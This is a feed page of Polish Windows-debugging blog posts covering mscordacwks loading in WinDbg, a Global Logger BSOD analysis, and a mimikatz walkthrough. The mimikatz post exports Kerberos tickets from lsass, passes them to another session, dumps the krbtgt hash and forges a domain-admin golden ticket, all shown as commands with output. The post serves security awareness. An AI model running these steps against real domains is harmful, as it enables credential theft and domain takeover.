Quantcast
Channel: Zine.net online
Viewing all 54 articles
Browse latest View live

Rozwiązywanie problemów z mscordacwks

$
0
0

Tym razem kilka słów o dosyć często pojawiającym się problemie, który miałem opisać wieki temu, ale inne wpisy jakoś zawsze okazywały się ciekawsze, ważniejsze i mniej udokumentowane. Przy okazji będę mógł zachęcić do zainteresowania się biblioteką procdumpext.dll, która wiele rzeczy bardzo usprawnia.

Analizując zrzuty pamięci przygotowane na innym komputerze nietrudno trafić na sytuację, gdy środowisko uruchomieniowe różni się od naszego i wówczas może się okazać, że nie będziemy w stanie korzystać z możliwości udostępnianych przez sos.dll, psscor2.dll, sosex.dll, czyli bibliotek wspierających analizę aplikacji .NET. Aby temu zaradzić, musimy dostarczyć debuggerowi odpowiednią wersję biblioteki mscordacwks.dll.
Weźmy prosty przykład.

1. Ładujemy zrzut pamięci do windbg
W tym miejscu polecam przygotowanie sobie skojarzenia w eksploratorze dla plików .dmp (.hdmp, .mdmp) z windbg, który z automatu załaduje nam rewelacyjną bibliotekę rozszerzeń Andrew Richardsa -  procdumpext.dll. Poza usprawnieniami typu ustawienie .prefer_dml na 1, co pozwala na wykorzystanie dml (linki) podczas analizy, biblioteka ta próbuje z automatu ustalić debuggowaną wersję clr oraz ładuje sosex, psscor(x) i sos odpowiednie dla analizowanego zrzutu. Odpowiedni plik .reg oraz procdumpext.dll są do pobrania z dysku skydrive Andrew Richardsa: http://sdrv.ms/11C7S9c
Jeśli nam to nie będzie odpowiadać, to wystarczy, że ustawimy odpowiednią zmienną środowiskową, aby zmienić to zachowanie:

0:000> !procdumpext.help
[CIAP]
  !loadsos        - Runs .cordll and .loadby sos
  !loadpsscor     - Runs .cordll and .load psscor2/4
  !loadsosex      - Runs .cordll and .load sosex
                  - Note, sosex is loaded with sos or psscor2/4

  Define PROCDUMPEXT_LOADCORDLL to choose the extension at load
                  0 = Disabled
                  1 = SOS + SOSEX
                  2 = PSSCORx + SOSEX (default)

2. Mając załadowany zrzut oraz zestaw bibliotek (sosex, psscorx, sos) próbujemy np. dowiedzieć się czegoś o stosie wywołań:

0:000> !mk
Thread 0:
Unable to initialize .NET data interface. Version 2.0.50727.5472 of mscordacwks.dll is required.
Locate and load the correct version of mscordacwks.dll. See documentation for the .cordll command.

lub wyjątkach:

0:000> !pe
Failed to load data access DLL, 0x80004005
Verify that 1) you have a recent build of the debugger (6.2.14 or newer)
            2) the file mscordacwks.dll that matches your version of mscorwks.dll is
                in the version directory
            3) or, if you are debugging a dump file, verify that the file
                mscordacwks_<arch>_<arch>_<version>.dll is on your symbol path.
            4) you are debugging on the same architecture as the dump file.
                For example, an IA64 dump file must be debugged on an IA64
                machine.

You can also run the debugger command .cordll to control the debugger's
load of mscordacwks.dll.  .cordll -ve -u -l will do a verbose reload.
If that succeeds, the PSSCOR command should work on retry.

If you are debugging a minidump, you need to make sure that your executable
path is pointing to mscorwks.dll as well.

Postępując zgodnie z sugestią, uruchamiamy .cordll:

0:000> .cordll -ve -u -l
CLRDLL: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscordacwks.dll:2.0.50727.5456 f:0
doesn't match desired version 2.0.50727.5472 f:0
CLRDLL: Unable to find mscordacwks_AMD64_AMD64_2.0.50727.5472.dll by mscorwks search
CLRDLL: Unable to find 'mscordacwks_AMD64_AMD64_2.0.50727.5472.dll' on the path
CLRDLL: Unable to get version info for 'c:\websymbols\mscorwks.dll\5174DDB399d000\mscordacwks_AMD64_AMD64_2.0.50727.5472.dll', Win32 error 0n87
Cannot Automatically load SOS
CLRDLL: ERROR: Unable to load DLL mscordacwks_AMD64_AMD64_2.0.50727.5472.dll, Win32 error 0n87
CLR DLL status: ERROR: Unable to load DLL mscordacwks_AMD64_AMD64_2.0.50727.5472.dll, Win32 error 0n87
0:000> !error 0n87
Error code: (Win32) 0x57 (87) - Parametr jest niepoprawny.

Wygląda zatem na to, że debugger nie może znaleźć pliku mscordacwks.dll odpowiadającego obecnemu w zrzucie mscorwks.dll. Plik mscordacwks.dll stanowi pomost pomiędzy natywnym debuggerem, jakim jest windbg, a konkretną wersją mscorwks.dll i bez niego sos, sosex, psscor nie są w stanie nic zrobić.

3. Dostarczenie odpowiedniej wersji mscordacwks.
Tu mamy kilka możliwości. Po pierwsze - prosimy osobę, która dostarczyła nam zrzut, aby podesłała odpowiedni plik ze swojego systemu. Idealnie, gdy mamy dostęp do zdalnego systemu, ale dosyć marzeń - nierzadko trzeba podać szczegółową instrukcję, co może stanowić pewien problem.
Druga opcja, to pobranie odpowiedniej wersji biblioteki z Microsoftu. Wykorzystując ulubioną wyszukiwarkę dosyć szybko trafiamy na odpowiedni link (w omawianym przypadku: http://support.microsoft.com/kb/2833946/pl). Ściągamy odpowiedni plik (w naszym przypadku będzie to Windows6.1-KB2833946-x64.msu) i wypakowujemy zawartość (tu do utworzonego katalogu msu):

>expand -F:* Windows6.1-KB2833946-x64.msu msu
Narzędzie rozwijania plików Microsoft (R) wersja 6.1.7600.16385
Copyright (c) Microsoft Corporation. Wszelkie prawa zastrzeżone.

Dodawanie pliku .\WSUSSCAN.cab do kolejki rozpakowywania
Dodawanie pliku .\Windows6.1-KB2833946-x64.cab do kolejki rozpakowywania
Dodawanie pliku .\Windows6.1-KB2833946-x64-pkgProperties.txt do kolejki rozpakowywania
Dodawanie pliku .\Windows6.1-KB2833946-x64.xml do kolejki rozpakowywania

Trwa rozpakowywanie plików...

Rozpakowywanie plików ukończone...
Ogółem plików: 4.

I dalej (przechodzimy do msu i wypakowujemy do utworzonego podkatalogu cab)

>expand -F:* Windows6.1-KB2833946-x64.cab cab
[CIAP]

Znajdujemy interesujący nas plik (tu mamy dwa o tej samej nazwie, jednak w interesującej nas wersji 2.0.50727.5472 znajduje się w katalogu amd64_netfx-mscordacwks_b03f5f7f11d50a3a_6.1.7601.18140_none_b7d3fac0af07f3ae)

4. Ładujemy mscordacwks i używamy poleceń z bibliotek rozszerzeń
- zgodnie z oczekiwaniem .cordll zmieniamy nazwę pliku na mscordacwks_AMD64_AMD64_2.0.50727.5472.dll, kopiujemy do c:\debuggers;
- powtarzamy próbę załadowania mscordacwks przy użyciu .cordll

0:000> .cordll -ve -u -l
CLRDLL: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscordacwks.dll:2.0.50727.5456 f:0
doesn't match desired version 2.0.50727.5472 f:0
CLRDLL: Unable to find mscordacwks_AMD64_AMD64_2.0.50727.5472.dll by mscorwks search
CLRDLL: Unable to find 'SOS_AMD64_AMD64_2.0.50727.5472.dll' on the path
Cannot Automatically load SOS
CLRDLL: Loaded DLL mscordacwks_AMD64_AMD64_2.0.50727.5472.dll
CLR DLL status: Loaded DLL mscordacwks_AMD64_AMD64_2.0.50727.5472.dll

Od teraz możemy bez problemu używać wszystkich możliwości dostępnych w bibliotekach rozszerzeń:

0:000> !pe
Exception object: 00000000027451d8
Exception type: System.NotSupportedException
Message: Kultura 'pl'  to kultura neutralna. Nie można użyć jej do formatowania ani do analizowania i dlatego nie można jej ustawić jako kultury bieżącej wątku.
InnerException: <none>
StackTrace (generated):
    SP               IP               Function
    000000000029DF10 000007FEF2BF705A System.Globalization.CultureInfo.CheckNeutral(System.Globalization.CultureInfo)
    000000000029DF50 000007FEF225CB84 System.Globalization.CultureInfo.get_NumberFormat()
    000000000029DFA0 000007FEDAB722E8 System.Windows.Forms.NativeWindow+WindowClass.GetFullClassName(System.String)
    000000000029DFF0 000007FEDAB71E76 System.Windows.Forms.NativeWindow+WindowClass.RegisterClass()
    000000000029E0F0 000007FEDAB71C83 System.Windows.Forms.NativeWindow+WindowClass.Create(System.String, Int32)
    000000000029E160 000007FEDAB714E1 System.Windows.Forms.NativeWindow.CreateHandle(System.Windows.Forms.CreateParams)
    000000000029E330 000007FEDAB7115B System.Windows.Forms.Control.CreateHandle()
    000000000029E440 000007FEDAB6F4E9 System.Windows.Forms.Application+ThreadContext.get_MarshalingControl()
    000000000029E4A0 000007FEDAB6EF25 System.Windows.Forms.WindowsFormsSynchronizationContext..ctor()
    000000000029E4E0 000007FEDAB6EE6C System.Windows.Forms.WindowsFormsSynchronizationContext.InstallIfNeeded()
    000000000029E530 000007FEDAB6D91D System.Windows.Forms.Control..ctor(Boolean)
    000000000029E680 000007FEDAB7ABB5 System.Windows.Forms.ScrollableControl..ctor()
    000000000029E6F0 000007FEDAB7AA89 System.Windows.Forms.ContainerControl..ctor()
    000000000029E730 000007FEDAB6D3E8 System.Windows.Forms.Form..ctor()
    000000000029E7C0 000007FF001614C0 MotinoinJoy.FormMain..ctor()
    000000000029E800 000007FF00160E9C MotinoinJoy.Program.Main(System.String[])

StackTraceString: <none>
HResult: 80131515

Oczywiście moglibyśmy dostarczyć jeszcze odpowiednią wersję sos.dll, ale biorąc pod uwagę fakt, iż psscor2.dll pokrywa funkcjonalność sos.dll, to możemy się tym nie przejmować i po prostu rozładować bibliotekę sos i używać poleceń z psscor2.dll.


kerberos a lsass

$
0
0

Wracamy do zabaw z lsass i jednego z moich ulubionych narzędzi do zaglądania w trzewia tego stwora - mimikatz. Gdy na początku stycznia Benjamin pukał do mnie na gtalku, nie bardzo miałem głowę do rozmów o tym, nad czym aktualnie pracował, a co kilka dni temu ujrzało światło dzienne w postaci najnowszej wersji mimikatz. Teraz widzę, że czasu nie marnował i o tym właśnie kilka poniższych słów.

Dotychczasowe nasze zabawy z lsass skupiały się wokół haseł, które poniewierają się po pamięci lsass w postaci niemal jawnego tekstu i są łatwe do wydobycia. Dziś o kerberosie.

Na wstępie polecam obejrzenie rewelacyjnej sesji Tomka Onyszko z MTS 2009 o rozwiązywaniu problemów z Kerberosem, dzięki czemu każdy będzie w stanie odświeżyć sobie swoją wiedzę i przypomnieć podstawowe fakty dotyczące kluczy.

Scenariusz 1: Dostęp do usług

Wyobraźmy sobie sytuację, w której user domenowy user1@test.local pracujący na stacja1 przegląda zawartość zasobu \\serwer1\share1. Następnie user1 wylogowuje się, a po nim loguje się lokalny administrator localadmin1 (lub jakakolwiek inna osoba, która ma dostęp do pamięci procesu lsass.exe) i próbuje się dostać do zasobu na \\serwer1\share1

>dir \\serwer1\share1
Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.

Sprawdzamy jeszcze listę kluczy dla bieżącej sesji

>klist

Bieżący identyfikator logowania to 0:0x49dbbdc

Bilety buforowane: (0)

Jak się okazuje, klucze dla sesji wylogowanego wcześniej użytkownika dalej tkwią w pamięci i wystarczy tylko po nie sięgnąć. Ściągamy najnowsze źródła mimikatz, przekompilowujemy i sięgamy do lsass

>mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2014 20:13:37)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export
InfoErr
Authentication Id : 0 ; 80776952 (00000000:049dbbdc)
Session           : Interactive from 7
User Name         : localadmin
Domain            : STACJA1

        Tickets group 0

        Tickets group 1

        Tickets group 2

Authentication Id : 0 ; 79778267 (00000000:04c151db)
Session           : Interactive from 6
User Name         : user1
Domain            : TEST

        Tickets group 0
         [00000000]
           Start/End/MaxRenew: 2014-01-20 19:47:24 ; 2014-01-21 05:46:20 ; 2014-01-27 19:46:20
           Service Name (02) : cifs ; serwer1.test.local ; @ TEST.LOCAL
           Target Name  (02) : cifs ; serwer1.test.local ; @ TEST.LOCAL
           Client Name  (01) : user1 ; @ TEST.LOCAL
           Flags 40a00000    : pre_authent ; renewable ; forwardable ;
           Session Key  (12) : d2 dc 32 71 ca 01 a8 07 6a 8c 87 bc 2f 4e 63 9c 5b 3b a6 6b c7 b5 32 b8 b3 02 83 c3 2f a2 2c 84
           Ticket  (25 - 12) : [...]
           * Saved to file [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi !

[CIAP]

Mając plik [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi, możemy zaimportować klucz do pamięci lsass dla bieżącej sesji lokalnego admina.

mimikatz # kerberos::ptt [0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi
Ticket '[0;4c151db]-0-0-40a00000-user1@cifs-SERWER1.test.local.kirbi' successfully submitted for current session

Sprawdzamy dostęp do share’a:

>dir \\serwer1\share1
 Wolumin w stacji \\serwer1\share1 to SHARE1.
 Numer seryjny woluminu: F81B-5837

 Katalog: \\serwer1\share1

2014-01-20  15:58    <DIR>         Katalog1

[CIAP]

A zatem lokalny admin ma teraz dostęp do zasobu. Sprawdźmy jeszcze listę kluczy

>klist

Bieżący identyfikator logowania to 0:0x49dbbdc

Bilety buforowane: (1)

#0>     Klient: user1 w TEST.LOCAL
        Serwer: cifs/SERWER1.test.local w TEST.LOCAL
        Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
        Flagi biletów 0x40a00000 -> forwardable renewable pre_authent
        Godz. rozpoczęcia: 1/20/2014 19:47:24 (lokalne)
        Godz. zakończenia:   1/21/2014 5:46:20 (lokalne)
        Godz. odnowienia: 1/27/2014 19:46:20 (lokalne)
        Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96

Spróbujmy teraz dostać się do zasobu na innym serwerze w domenie

>dir \\serwer2\share1
Błąd logowania: nieznana nazwa użytkownika lub nieprawidłowe hasło.

Scenariusz 2: TGT

Mając klucz dla jednej usługi nie mamy dostępu do wszystkich innych usług - każda z usług będzie wymagała osobnego TGS. Gdy jednak przyjrzymy się liście kluczy wyeksportowanych w poprzednim scenariuszu, to nietrudno znajdziemy np. [0;4c151db]-2-0-60a00000-user1@krbtgt-TEST.LOCAL.kirbi, w którym znajduje się TGT dla użytkownika user1. Po imporcie tego klucza do lokalnej sesji nasz pęczek kluczy będzie wyglądał następująco:

>klist

Bieżący identyfikator logowania to 0:0x49dbbdc

Bilety buforowane: (2)

#0>     Klient: user1 w TEST.LOCAL
        Serwer: krbtgt/TEST.LOCAL w TEST.LOCAL
        Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
        Flagi biletów 0x40e00000 -> forwardable renewable initial pre_authent
        Godz. rozpoczęcia: 1/20/2014 17:58:18 (lokalne)
        Godz. zakończenia:   1/21/2014 3:58:18 (lokalne)
        Godz. odnowienia: 1/27/2014 17:58:18 (lokalne)
        Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96


#1>     Klient: user1 w TEST.LOCAL
        Serwer: cifs/SERWER1.test.local w TEST.LOCAL
        Typ szyfrowania biletu Kerberos: AES-256-CTS-HMAC-SHA1-96
        Flagi biletów 0x40a00000 -> forwardable renewable pre_authent
        Godz. rozpoczęcia: 1/20/2014 19:47:24 (lokalne)
        Godz. zakończenia:   1/21/2014 5:46:20 (lokalne)
        Godz. odnowienia: 1/27/2014 19:46:20 (lokalne)
        Typ klucza sesji: AES-256-CTS-HMAC-SHA1-96

i otwieramy sobie drogę do wszystkich usług, do których miał dostęp user1, np.:

>dir \\serwer2\share1
2014-01-20  15:58    <DIR>         Katalog1NaSerwer2

Import pliku wykonujemy tak, jak poprzednio, dlatego nie będę się powtarzał.

Scenariusz 3. "Golden ticket"

W najnowszej wersji mimikatz oferuje również 'golden tickets', czyli usługę pozwalającą na samodzielne generowanie kluczy. All you need is hash :) A dokładniej - ntlm hash hasła dla konta krbtgt, które - o ile się nie mylę - nigdy się nie zmienia. Hash możemy wygrzebać z bazy sam kontrolera domeny, np. przy pomocy mimikatz :)

>mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Jan 17 2014 20:13:37)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::samrpc /patch
insideDomain : TEST

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 01234567890123456789012345678901

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 6aa0233756172c24df5e9797117d118b

[CIAP]

Drobna uwaga: przy większej liczbie kont warto skorzystać z log {file}, log /stop

Mając hash możemy generować samodzielnie klucze:

mimikatz # kerberos::golden /admin:Administrator /domain:test.local /sid:S-1-5-21-0123456789-9876543210-0987612345 /krbtgt:6aa0233756172c24df5e9797117d118b /ticket:test.local.kirbi
Admin  : Administrator
Domain : test.local
SID    : S-1-5-21-0123456789-9876543210-0987612345
krbtgt : 6aa0233756172c24df5e9797117d118b
Ticket : test.local.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

W bieżącym katalogu mamy plik test.local.kirbi, który możemy użyć gdziekolwiek do generowania własnych kluczy. Zalogujmy się znowu jako lokalny administrator na dowolnej stacji (niech tym razem będzie to STACJA2) i zaimportujmy tak przygotowany klucz:

mimikatz # kerberos::ptt test.local.kirbi
Ticket 'test.local.kirbi' successfully submitted for current session

mimikatz # kerberos::list

[00000000] - 17
   Start/End/MaxRenew: 2014-01-20 19:29:31 ; 2024-01-20 19:29:31 ; 2034-01-20 19:29:31
   Server Name       : krbtgt/test.local @ test.local
   Client Name       : Administrator @ test.local
   Flags 40e00000    : pre_authent ; initial ; renewable ; forwardable ;

Zauważmy, że klucz mamy wystawiony na najbliższe 10 lat, co daje nam sporo czasu na korzystanie z różnych usług. Oczywiście wszystkie usługi domenowe są dla nas dostępne bez żadnych ograniczeń - jesteśmy Administratorem domeny (SID usera + group membership Benjamin zahardkodował na domain admina w funkcji kuhl_m_kerberos_golden_data)

Nie muszę chyba pisać, że wszystkie powyższe operacje działają również na dumpach, więc _pilnuj swego dumpa_ :)

BSOD a Global Logger

$
0
0

Znalezienie przyczyny BSOD wcale nie musi być łatwe, więc każda dodatkowa informacja, która pomaga w analizie problemu może zaważyć na tym, czy uda nam się coś znaleźć, czy też nie. Szczególnie wredne są te przypadki, kiedy BSOD pojawia się na dosyć wczesnym etapie startu, uniemożliwiając systemowi zapisanie zrzutu pamięci w odpowiednim miejscu i właściwie jedyne, co mamy, to zdjęcie ekranu z zapisanymi parametrami blue screena :)

Ale moment, mamy przecież do dyspozycji ETW - dlaczego nie zrobić z tego użytku?! :)

Global Logger

Analizę startu sytemu z użyciem mechanizmów ETW omawiałem już kilkakrotnie. Do włączenia odpowiedniego loggera przy starcie używałem zawsze narzędzia xbootmgr z pakietu WPT, które coś tam gdzieś tam ustawiało i działało. Czas na wyjaśnienie co i gdzie.

Do zbierania informacji z wczesnego etapu startu systemu służy sesja Global Logger, która sterowana jest za pomocą wartości zdefiniowanych w kluczu [HKLM\SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger], których opis można znaleźć na MSDN w artykule Configuring and Starting the Global Logger Session. Większość z nich jest samoopisująca się i nie wymaga żadnego komentarza. Za włączenie logowania odpowiada wartość Start ustawiona na 1.

Rys 1. Ustawienia Global Loggera w rejestrze systemowym

Użyjmy zatem xbootmgr i zobaczmy, co wpisuje narzędzie z pakietu WPT - my nie będziemy potrzebowali wiele więcej. Na zrzucie ekranu z rys. 1 widać ustawienia, które zostały zapisane w rejestrze przez xbootmgr po wykonaniu polecenia (dla czytelności dodałem podziały wiersza)

>xbootmgr -trace boot -traceflags latency+dispatcher+file_io+file_io_init+registry -stackwalk
profile+cswitch+readythread+FileCreate+FileRead+FileWrite+FileDelete+FileRename
+RegQueryKey+RegEnumerateKey+RegDeleteKey+RegCreateKey
+RegOpenKey+RegSetValue+RegDeleteValue+RegQueryValue
-notraceflagsinfilename -postbootdelay 10 -resultpath c:\xperf

Poza kluczem GlobalLogger utworzony został widoczny także na rysunku XPerfBootmgr, do którego trafiły pozostałe ustawienia związane z sesją xperfbootmgr.

Co ciekawe, mamy możliwość dodania logowania dla dostawców trybu użytkownika, wystarczy dodać do klucza Autologger\XBootMgrSession podklucz o nazwie typu {GUID providera} z odpowiednimi parametrami. Jest to o tyle ciekawe, że xbootmgr nie udostępnia takiej możliwości i edycja rejestru to jedyna opcja, aby dodać jakiś um provider do boot trace’a. Do wyciągnięcia guida dla interesującego nas dostawcy możemy skorzystać z xperf -providers, ja np. użyłem:

>xperf -providers | findstr -i file

oraz

>xperf -providers | findstr -i registry

i dodałem podklucze powiązane z dostawcami Microsoft-Windows-Kernel-Registry oraz Microsoft-Windows-Kernel-File, ale możemy włączyć dowolny i potem przejrzeć zebrane informacje.

BSOD 0xC000021A, czyli 'co zepsuł McAfee?'

Pobawmy się i zepsujmy coś. Spróbujmy teraz zastosować przygotowaną wcześniej sesję logowania w przypadku konkretnego złośliwca. Na stronach supportowych Microsoftu możemy znaleźć przykłady opisujące konkretne BSODy, a w nich szczegółowy opis przyczyn, które możemy bez większych trudności odtworzyć u siebie. Dla przykładu, weźmy ten artykuł kb:
http://support.microsoft.com/kb/2746140
z którego jasno wynika, że po zmianie nazwy katalogu %systemroot%\System32\Catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE} na tmpxxxx.tmp dostaniemy BSOD 6B, lub 0xC000021A. Oczywiście BSOD możemy sobie pooglądać na zdjęciach, bo po plikach zrzutu pamięci ani widu, ani słychu. Wykonajmy zatem ćwiczenie i mając dostęp offline do systemu ofiary po kolei:

  • zmieniamy nazwę katalogu zgodnie z opisem (po tym możemy uruchomić maszynę i sprawdzić, czy BSOD faktycznie się pojawia. Jeśli tak - jedziemy dalej!);
  • przygotowujemy plik .reg, w którym znajdują się ustawienia loggera do zaaplikowania na systemie z BSODem (na końcu tekstu);
  • z martwego systemu wyciągamy plik %systemroot%\system32\config\SYSTEM;
  • podłączamy plik rejestru jako HKLM\BSOD i importujemy do aktywnego ControlSet (domyślnie: ControlSet001, do odczytania z klucza HKLM\BSOD\Select, wartość Current) przygotowane wcześniej ustawienia loggera. Po wszystkim zwalniamy log i wrzucamy na swoje miejsce;
  • tworzymy na dysku c: ofiary katalog c:\xperf, w którym zapisywane będą logi km i um;
  • start ofiary!

Czekamy na BSOD, po restarcie nie pozwalamy na kolejny pad, tylko od razu podłączamy się offline i zabieramy interesujące nas pliki.

Analiza

Ja oczywiście jestem cwaniak i podłączyłem się debuggerem. Tylko informacyjnie podaję wynik podstawowej analizy, resztę spróbujemy odczytać z plików .etl.

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck C000021A, {fffff8a00010bbe0, 0, ffffffffc0000034, 100550}

Probably caused by : ntkrnlmp.exe ( nt!NtSetSystemPowerState+864 )

Followup: MachineOwner
---------

nt!DbgBreakPointWithStatus:
fffff800`02893df0 cc              int     3
kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

WINLOGON_FATAL_ERROR (c000021a)
The Winlogon process terminated unexpectedly.
Arguments:
Arg1: fffff8a00010bbe0, String that identifies the problem.
Arg2: 0000000000000000, Error Code.
Arg3: ffffffffc0000034
Arg4: 0000000000100550

Debugging Details:
------------------


ERROR_CODE: (NTSTATUS) 0xc000021a - {B

EXCEPTION_CODE: (NTSTATUS) 0xc000021a - {B

EXCEPTION_PARAMETER1:  fffff8a00010bbe0

EXCEPTION_PARAMETER2:  0000000000000000

EXCEPTION_PARAMETER3:  ffffffffc0000034

EXCEPTION_PARAMETER4: 100550

ADDITIONAL_DEBUG_TEXT:  initial session process or

BUGCHECK_STR:  0xc000021a_Session_0_Terminated

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

PROCESS_NAME:  System

CURRENT_IRQL:  2

ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) amd64fre

LAST_CONTROL_TRANSFER:  from fffff800029840e2 to fffff80002893df0

STACK_TEXT: 
fffff880`0336d0b8 fffff800`029840e2 : 00000000`c0000201 fffffa80`01965040 00000000`00000065 fffff800`028d6c08 : nt!DbgBreakPointWithStatus
fffff880`0336d0c0 fffff800`02984ece : fffffa80`00000003 00000000`00000000 fffffa80`0ba46d00 00000000`00000000 : nt!KiBugCheckDebugBreak+0x12
fffff880`0336d120 fffff800`0289c0c4 : 00000000`00000001 fffff800`02ae0bb6 fffffa80`00000040 fffffa80`0c81b048 : nt!KeBugCheck2+0x71e
fffff880`0336d7f0 fffff800`02ae4347 : 00000000`0000004c 00000000`c000021a fffff880`06368608 fffffa80`0c806290 : nt!KeBugCheckEx+0x104
fffff880`0336d830 fffff800`02ae4bf4 : 00000000`00000001 ffffffff`80000248 ffffffff`80000248 00000000`00000000 : nt!PopGracefulShutdown+0x257
fffff880`0336d870 fffff800`0289b253 : fffffa80`01965040 fffffa80`01939000 00000000`00000000 00000000`00000000 : nt!NtSetSystemPowerState+0x864
fffff880`0336d9b0 fffff800`02897810 : fffff800`02d07129 00000000`00000004 fffff800`02891a32 fffffa81`001c0017 : nt!KiSystemServiceCopyEnd+0x13
fffff880`0336db48 fffff800`02d07129 : 00000000`00000004 fffff800`02891a32 fffffa81`001c0017 fffffa80`01965040 : nt!KiServiceLinkage
fffff880`0336db50 fffff800`02d073ac : 00000000`00000004 fffff800`02cad800 00000000`00000004 fffff800`02a392d8 : nt!PopIssueActionRequest+0x1d9
fffff880`0336dbe0 fffff800`02854095 : 00000000`00000001 fffffa80`01965000 fffff800`02a392d8 00000000`00000000 : nt!PopPolicyWorkerAction+0x4c
fffff880`0336dc40 fffff800`028a5641 : fffff800`00000002 fffff800`00000004 fffff800`02853f98 fffffa80`0bb35750 : nt!PopPolicyWorkerThread+0xfd
fffff880`0336dcb0 fffff800`02b32e5a : 00000000`00000000 fffffa80`01965040 00000000`00000080 fffffa80`018f0040 : nt!ExpWorkerThread+0x111
fffff880`0336dd40 fffff800`0288cd26 : fffff800`02a0ee80 fffffa80`01965040 fffffa80`0199d730 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
fffff880`0336dd80 00000000`00000000 : fffff880`0336e000 fffff880`03368000 fffff880`0336d270 00000000`00000000 : nt!KiStartSystemThread+0x16


STACK_COMMAND:  kb

FOLLOWUP_IP:
nt!NtSetSystemPowerState+864
fffff800`02ae4bf4 cc              int     3

SYMBOL_STACK_INDEX:  5

SYMBOL_NAME:  nt!NtSetSystemPowerState+864

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: nt

IMAGE_NAME:  ntkrnlmp.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  503f82be

IMAGE_VERSION:  6.1.7601.17944

FAILURE_BUCKET_ID:  X64_0xc000021a_Session_0_Terminated_nt!NtSetSystemPowerState+864

BUCKET_ID:  X64_0xc000021a_Session_0_Terminated_nt!NtSetSystemPowerState+864

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:x64_0xc000021a_session_0_terminated_nt!ntsetsystempowerstate+864

FAILURE_ID_HASH:  {56783bb2-8d2c-e4b4-e42b-9a251679d126}

Followup: MachineOwner
---------

Przy czym obcięty opis błędu powinien wyglądać jakoś tak:

{Błąd krytyczny systemu}
Proces systemowy %hs zakończył się niespodziewanie ze stanem 0x%08x (0x%08x 0x%08x). System zostanie zamknięty.

Analiza zebranych logów

Wiemy zatem, że padł proces związany z sesją 0. Mamy niewielu podejrzanych - na tak wczesnym etapie mamy tylko kilka procesów, więc i analiza powinna być prostsza.
Przechodzimy do plików zebranych przez działające loggery. W katalogu c:\xperf możemy znaleźć dwa pliki:
- boot_1_km_premerge.etl - zawierający zdarzenia zebranie przez logger trybu jądra;
- boot_1_um_premerge.etl - zawierający zdarzenia zebranie przez logger trybu użytkownika.

Łączymy je zatem w jeden:

>xperf -merge boot_1_um_premerge.etl boot_1_km_premerge.etl merged.etl

i ładujemy do xperfview.

Rys 2. Grafy File I/O i Registry z logu Global Loggera

Tu szczególnie interesują nas dwa grafy: File I/O oraz Registry. Klikamy graf File I/O -> Summary Table, grupujemy po nazwie procesu i sortujemy po Start(s). Mnie szczególnie zainteresował proces (360), który w parametrach startowych (Process Summary Table) miał
 \SystemRoot\System32\smss.exe 00000000 0000003c
co niechybnie wskazuje na menadżera sesji 0. Przechodzę na sam koniec i znajduję ostatnie operacje wykonane przez wspomniany proces (tu 2 ostatnie zdarzenia):

Process, Start (s), Event Type, Event SubType, Thread, Count, End (s), Duration (us), IRP, FileObject, File Name, Size, Offset, Flags, Result

smss.exe (360), 12.935856372, Create, , 364, 1, 12.935903026, 46.654, 0xfffffa800bf556b0, 0xfffffa800c3326b0, \Device\HarddiskVolume2\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\, 0, 0, file_open directory_file synchronous_io_nonalert open_for_backup_intent shareRead shareWrite shareDelete , Nie odnaleziono nazwy obiektu.
(0xc0000034)

smss.exe (360), 12.936181274, Cleanup, , 364, 1, 12.936186582, 5.308, 0xfffffa800bf556b0, 0xfffffa800c32f070, C:\Windows\system32\win32k.sys, 0, 0, , Success(0)

Wygląda więc na to, że process smss próbował dostać się do katalogu {F750E6C3-38EE-11D1-85E5-00C04FC295EE}, jednak bez powodzenia, co skończyło się zamknięciem procesu smss.exe (więcej szczegółów można zobaczyć bezpośrednio w zrzucie dumpera, ale to pozostawiam jako ćwiczenie).

Uwagi ogólne

Tak, wiem - z góry wiedziałem czego szukać, więc się nie liczy. No i ten debugger - to już przesada i zagrywka poniżej pasa.
